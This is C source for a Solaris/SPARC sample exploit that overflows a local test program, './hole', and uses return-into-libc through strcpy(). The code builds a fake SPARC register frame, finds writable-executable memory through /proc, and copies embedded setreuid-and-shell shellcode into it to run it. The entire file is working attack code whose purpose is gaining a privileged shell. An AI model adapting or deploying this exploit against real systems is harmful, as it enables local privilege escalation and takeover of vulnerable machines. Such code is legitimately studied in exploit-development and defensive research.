/*
 *  Solaris/SPARC sample exploit 
 *
 *  Return into libc strcpy() 
 *  
 *  Find an rwx memory and copy our shellcode
 *  on it and execute it.
 *
 *  Inode <inode@deadlocks.info>
 *
 */

#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <link.h>
#include <procfs.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define VULPROG "./hole"

#define BUFFER_LEN 400

/*
 *  Sparc shellcode wrote by Claes M. Nyberg 
 *  http://www.shellcode.com.ar/sun/sol-sparc-setreuid-sh.c
 */

char sparc_shellcode[] =
"\x82\x10\x20\x18\x91\xd0\x20\x08\x90\x02\x60\x01\x90\x22"
"\x20\x01\x92\x10\x3f\xff\x82\x10\x20\xca\x91\xd0\x20\x08"
"\x82\x10\x20\x2f\x91\xd0\x20\x08\x90\x02\x60\x01\x90\x22"
"\x20\x01\x92\x10\x3f\xff\x82\x10\x20\xcb\x91\xd0\x20\x08"
"\x94\x1a\x80\x0a\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b"
"\xcb\xdc\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8"
"\xe0\x23\xbf\xf4\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23"
"\xbf\xec\x92\x23\xa0\x14\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x82\x10\x20\x01\x91\xd0\x20\x08";


/*
 * Global Variables
 */

char * 		env[100];
char *		arg[100];
int 		env_num = 0;
int             arg_num = 0;
unsigned long	env_len = 0;
unsigned long	arg_len = 0;
unsigned long 	RWX_MEM = 0;

/*
 * Prototypes
 */

unsigned long 	add_env( unsigned char * string );
unsigned long 	add_arg( unsigned char * string );
unsigned long   get_libc_ldso(char * func_name);
void		pad_arg( void );
void		set_val( char * buffer, long pos, unsigned long value);
void		get_rwx_mem(void);


/*
 * Main
 */

int main(int argc, char **argv)
{
	char platform[256];

	unsigned char buffer[BUFFER_LEN];
	unsigned char fake_frame[512];

	unsigned long argv0 = (unsigned long) argv[0]; 
	unsigned long stack_base;
	unsigned long total_len;
	unsigned long lib_strcpy;
	unsigned long shellcode;	
	unsigned long pos_frame;

	int i;


	/*
	 *  Get SI_PLATFORM  
	 */
	sysinfo(SI_PLATFORM, platform, sizeof(platform));
	fprintf( stderr, "[+] SI_PLATFORM		: %s\n", platform);

        /*
         *  Get Stack base 
         */
	stack_base = ( argv0 | 0xffff ) & 0xfffffffc;
	fprintf( stderr, "[+] Base of the stack	: 0x%p\n", (char *)stack_base);

	/*
	 * Get system on libc
	 */
	lib_strcpy = get_libc_ldso("strcpy");
	fprintf( stderr, "[+] Strcpy address	: 0x%p\n", (char *)lib_strcpy);

	/*
	 * Fill the buffer
	 */	
	memset(buffer, 'A', sizeof(buffer));
	buffer[sizeof(buffer)-1] = 0;

	/*
	 * Get a rwx memory segment
	 */
	get_rwx_mem();
	fprintf( stderr, "[+] rwx memory at	: 0x%p\n", (char *) RWX_MEM);

	/*
	 * Add the arguments
	 */
	add_arg( buffer );
	add_arg( NULL );

	/*
	 * Pad ARGV. If argv will be padded also ENV[0] will be padded
	 */
	pad_arg();

	/*
	 * Build our fake frame
	 */

	i = 0;
	memset( fake_frame, 0, sizeof(fake_frame) );	

	/*
	 * %l registers
	 */
	set_val( fake_frame, i, 0xdeadbeef); i += 4;
        set_val( fake_frame, i, 0xdeadbeef); i += 4;
        set_val( fake_frame, i, 0xdeadbeef); i += 4;
        set_val( fake_frame, i, 0xdeadbeef); i += 4;
        set_val( fake_frame, i, 0xdeadbeef); i += 4;
        set_val( fake_frame, i, 0xdeadbeef); i += 4;
        set_val( fake_frame, i, 0xdeadbeef); i += 4;
        set_val( fake_frame, i, 0xdeadbeef); i += 4;

	/*
	 * %i registers
	 * %i0 will be the destination address rwx memory
	 * %i1 will be our source (shellcode in env)
	 */
        set_val( fake_frame, i, RWX_MEM ); i += 4;
        set_val( fake_frame, i, 0x42424242); i += 4;
        set_val( fake_frame, i, 0x43434343); i += 4;
        set_val( fake_frame, i, 0x44444444); i += 4;
        set_val( fake_frame, i, 0x45454545); i += 4;
        set_val( fake_frame, i, 0x46464646); i += 4;

	/*
	 * %fp and %i7
	 * Frame pointer will be a valid memory space that will be
	 * the stack for the strcpy function.
	 * The next %pc will be our shellcode.
	 */
	set_val( fake_frame, i, stack_base - 200); i += 4;
	set_val( fake_frame, i, RWX_MEM - 8 ); 

	/*
	 * Put our fake_frame on the environment
	 */	
	shellcode = add_env( fake_frame );
	add_env( sparc_shellcode );
	add_env( NULL );

	/*
	 * Calculate the full len of the 
	 */
	total_len = arg_len + env_len + strlen( platform ) + 1
		 + strlen( (char *)(strrchr(VULPROG,'/') + 1 ) ) + 1;

	/*
	 * adjust the full len if not padded
	 */
        total_len += 7 - ( (total_len + ( env_num + arg_num + 3) * 4 + 3)  %8   );

	fprintf( stderr, "[+] ARGV[0] at		: 0x%p\n", (char *) stack_base - total_len);

	/*
	 * Calculate the position of our fake frame
	 */
	pos_frame = stack_base - total_len + arg_len;

	fprintf( stderr, "[+] Fake frame at	: 0x%p\n", (char *) pos_frame);

	/*
	 * Calculate the position of our shellcode
	 */
	shellcode = stack_base - total_len + arg_len + shellcode;

	fprintf( stderr, "[+] Shellcode at	: 0x%p\n", (char *) shellcode);

	/*
	 * Set the source of our strcpy %i1 register
	 */
	set_val( fake_frame, 36, shellcode );

	/* 
	 * Set our %fp and %i7 on the buffer
	 */
	i = 328;
	set_val( buffer, i, pos_frame); i += 4;
	set_val( buffer, i, lib_strcpy );

	/*
	 * Execute the vuln program
	 */
	if( execve( VULPROG, arg, env ) < 0 )
		fprintf( stderr, "Error in executing vuln program\n");

	return 0;	
}

/*
 * This function will get the address of func_name in ld.so library.
 * ld.so are allocated always on the same place on solaris system, as
 * you can see with pmap command. That will help us, because we haven't
 * to compile our exploit with the same library as the vulnerable 
 * program. 
 */

unsigned long get_libc_ldso( char * func_name )
{
	void *handle;
	unsigned long address;
	Link_map *lm;


	if((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
		perror("dlopen:");
		exit(-1);
	}

	if((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
		perror("dlinfo");
		exit(-1);
	}


	if (( address = (long)dlsym(handle, func_name))==NULL) {
		fprintf(stderr, "Can't find %s() in libc\n",func_name);
		exit( -1 );
	}

	if (!(address & 0xff) || !(address * 0xff00) ||
	!(address & 0xff0000) || !(address & 0xff000000))
	{
		fprintf(stderr,"The address of %s() contains a '0'. sorry.\n",func_name);
		exit(-1);
	}

	return address;

}

/*
 * This function open /proc/<pid>/map and get the previous
 * of the last memory segment that is rwx. We doesn't use
 * the last one because may be the stack.
 */

void get_rwx_mem(void)
{
        int cur_pid;
        int fd;
        unsigned long address = 0;
        unsigned long address_old = 0;

        char tmp[100];

        prmap_t stru;

        cur_pid = (int) getpid();

        sprintf(tmp,"/proc/%d/map", cur_pid);

        fd = open( tmp, O_RDONLY);

        if( fd < 0 ) {
                fprintf( stderr, "Error get RWX mem... Can't open %s\n",tmp);
                exit(0);
        }

        while( read(fd, &stru, sizeof(stru)) > 0 )
                if( stru.pr_vaddr != 0)
                        if( stru.pr_mflags & MA_READ && stru.pr_mflags & MA_WRITE && \
                                 stru.pr_mflags & MA_EXEC && address < stru.pr_vaddr) {

                                address_old = address;
                                address = stru.pr_vaddr;
                        }
        close( fd );

        if( !(address_old & 0x000000ff) )
                address_old = address_old | 0x00000004;
        if( !(address_old & 0x0000ff00) )
                address_old = address_old | 0x00000400;
        if( !(address_old & 0x00ff0000) )
                address_old = address_old | 0x00040000;

        RWX_MEM = address_old;
}


/*
 * Set a value on the buffer
 */
void set_val( char * buffer, long pos, unsigned long value)
{
        buffer[pos]   = (value & 0xff000000) >> 24;
        buffer[pos+1] = (value & 0x00ff0000) >> 16;
        buffer[pos+2] = (value & 0x0000ff00) >> 8;
        buffer[pos+3] = (value & 0x000000ff);
}

/*
 * Pad the ARGVS
 */

void pad_arg( void )
{
	long pad;
	unsigned char * argv1;

	if( arg_len%4 == 0 )
		return;
	
	pad = 4 - (arg_len%4);

	argv1 = (unsigned char *) malloc( (pad+4) * sizeof(char)); 

	memset( argv1, 'B', (pad+4) * sizeof(char));

	argv1[ (pad+4) * sizeof(char) -1 ] = 0;
	
	arg[0] = argv1;

	arg_len = arg_len - 4 + strlen( argv1 ) + 1; 	

	return;

}


/*
 * Add an argument to the ARGV array
 */

unsigned long add_arg( unsigned char * string )
{
	if( string == NULL ) {
		arg[ arg_num ] = NULL;
		return arg_len;
	}

	if( arg_num == 0 ) {
		arg[ arg_num ] = "AAA";
		arg_len += strlen( "AAA" ) + 1;
		arg_num++;
	}

	arg[ arg_num ] = string;

	arg_len += strlen( string ) + 1;

	arg_num++;

	return arg_len;	
}

/*
 * Add an environment variable to the array.
 * This function will always pad with 0 pointer
 * the variable added. 
 */

unsigned long add_env( unsigned char * string )
{
	int i;

	if( string == NULL ) {
		env[ env_num ] = NULL;
		return env_len;
	}

	env[ env_num ] = string;

	env_len += strlen( string ) + 1;	

	env_num++;

	if( (strlen( string ) + 1) % 4 != 0) {
		for( i = 0; i < ( 4 - ((strlen( string ) + 1) % 4)); i++, env_num++) {
			env[ env_num ] = string + strlen( string );
			env_len ++;
		}
	}

	return env_len;
}


